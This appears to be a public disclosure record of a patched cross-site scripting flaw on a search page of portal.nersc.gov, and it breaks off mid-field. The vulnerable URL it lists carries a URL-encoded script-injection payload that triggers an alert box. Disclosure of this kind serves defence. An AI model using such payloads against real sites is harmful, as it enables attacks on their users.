portal.nersc.gov XSS vulnerability

Vulnerable URL: http://portal.nersc.gov/project/m1758/hepsim/search.php?search=%27%22%2F%3E%3Cscript%3Ealert%28%2FOPENBUGBOUNTY%2F%29%3B%3C%2Fscript%3E=Search Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unkno...